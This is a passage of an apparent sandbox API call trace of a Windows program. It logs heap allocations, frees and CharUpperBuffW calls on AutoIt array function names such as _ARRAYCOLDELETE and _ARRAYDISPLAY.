(HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739a0 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdd0 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b0e8 [0131.489] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738e0 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fdc0 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073880 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739d0 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105aa30 | out: hHeap=0xe80000) returned 1 [0131.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b6d0 | out: hHeap=0xe80000) returned 1 [0131.490] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103ff10 | out: hHeap=0xe80000) returned 1 [0131.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105acd8 [0131.490] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fed0 [0131.490] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0131.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105acd8 | out: hHeap=0xe80000) returned 1 [0131.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fed0 | out: hHeap=0xe80000) returned 1 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdc0 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fed0 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739a0 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739b8 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ad28 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x10166a8 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737c0 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103ff10 [0131.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737c0 | out: hHeap=0xe80000) returned 1 [0131.491] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa30 [0131.492] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fed0 | out: hHeap=0xe80000) returned 1 [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739b8 | out: hHeap=0xe80000) returned 1 [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac60 | out: hHeap=0xe80000) returned 1 [0131.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ad28 | out: hHeap=0xe80000) returned 1 [0131.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fdc0 | out: hHeap=0xe80000) returned 1 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fed0 [0131.493] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0131.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac60 | out: hHeap=0xe80000) returned 1 [0131.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fed0 | out: hHeap=0xe80000) returned 1 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073850 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdc0 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fed0 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a918 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737d8 [0131.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.493] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x1016708 [0131.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103ff20 [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a9e0 [0131.494] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fed0 | out: hHeap=0xe80000) returned 1 [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737d8 | out: hHeap=0xe80000) returned 1 [0131.494] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a918 | out: hHeap=0xe80000) returned 1 [0131.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac60 | out: hHeap=0xe80000) returned 1 [0131.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fdc0 | out: hHeap=0xe80000) returned 1 [0131.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b510 [0131.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdc0 [0131.495] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0131.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b510 | out: hHeap=0xe80000) returned 1 [0131.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fdc0 | out: hHeap=0xe80000) returned 1 [0131.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdc0 [0131.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738c8 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fed0 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa80 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073850 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b510 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107da90 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.496] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10d8 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738f8 | out: hHeap=0xe80000) returned 1 [0131.497] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b270 [0131.497] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738c8 | out: hHeap=0xe80000) returned 1 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fed0 | out: hHeap=0xe80000) returned 1 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105aa80 | out: hHeap=0xe80000) returned 1 [0131.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b510 | out: hHeap=0xe80000) returned 1 [0131.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103fdc0 | out: hHeap=0xe80000) returned 1 [0131.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b3c0 [0131.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11b8 [0131.498] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0131.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b3c0 | out: hHeap=0xe80000) returned 1 [0131.498] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11b8 | out: hHeap=0xe80000) returned 1 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1188 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737f0 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10b8 [0131.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737f0 | out: hHeap=0xe80000) returned 1 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa80 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737f0 [0131.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b040 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d970 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1138 [0131.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b580 [0131.499] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0131.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105aa80 | out: hHeap=0xe80000) returned 1 [0131.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10b8 | out: hHeap=0xe80000) returned 1 [0131.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737f0 | out: hHeap=0xe80000) returned 1 [0131.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac60 | out: hHeap=0xe80000) returned 1 [0131.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b040 | out: hHeap=0xe80000) returned 1 [0131.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1188 | out: hHeap=0xe80000) returned 1 [0131.501] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.501] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11e8 [0131.501] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0131.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac60 | out: hHeap=0xe80000) returned 1 [0131.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11e8 | out: hHeap=0xe80000) returned 1 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073898 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1218 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10f8 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa80 [0131.503] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d940 [0131.503] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073880 [0131.503] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1158 [0131.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073880 | out: hHeap=0xe80000) returned 1 [0131.503] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac60 [0131.503] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0131.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10f8 | out: hHeap=0xe80000) returned 1 [0131.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105aa80 | out: hHeap=0xe80000) returned 1 [0131.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1218 | out: hHeap=0xe80000) returned 1 [0131.505] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.505] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1068 [0131.505] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0131.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1068 | out: hHeap=0xe80000) returned 1 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1148 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11d8 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a940 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073850 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073898 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073970 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.506] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068ce0 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a940 | out: hHeap=0xe80000) returned 1 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107db20 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10e8 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.507] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa80 [0131.507] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11d8 | out: hHeap=0xe80000) returned 1 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a48 | out: hHeap=0xe80000) returned 1 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073970 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.508] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068ce0 | out: hHeap=0xe80000) returned 1 [0131.509] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.509] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1148 | out: hHeap=0xe80000) returned 1 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ad28 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10f8 [0131.509] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0131.509] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ad28 | out: hHeap=0xe80000) returned 1 [0131.509] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10f8 | out: hHeap=0xe80000) returned 1 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073970 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10b8 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11e8 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.509] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739a0 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073808 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739b8 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073970 | out: hHeap=0xe80000) returned 1 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8c8 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107dc10 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10f8 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.510] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105acd8 [0131.510] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a48 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11e8 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073808 | out: hHeap=0xe80000) returned 1 [0131.510] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739b8 | out: hHeap=0xe80000) returned 1 [0131.511] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.511] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8c8 | out: hHeap=0xe80000) returned 1 [0131.511] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10b8 | out: hHeap=0xe80000) returned 1 [0131.511] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ad28 [0131.511] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1118 [0131.511] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0131.512] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ad28 | out: hHeap=0xe80000) returned 1 [0131.512] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1118 | out: hHeap=0xe80000) returned 1 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073880 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1188 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1238 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a918 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073898 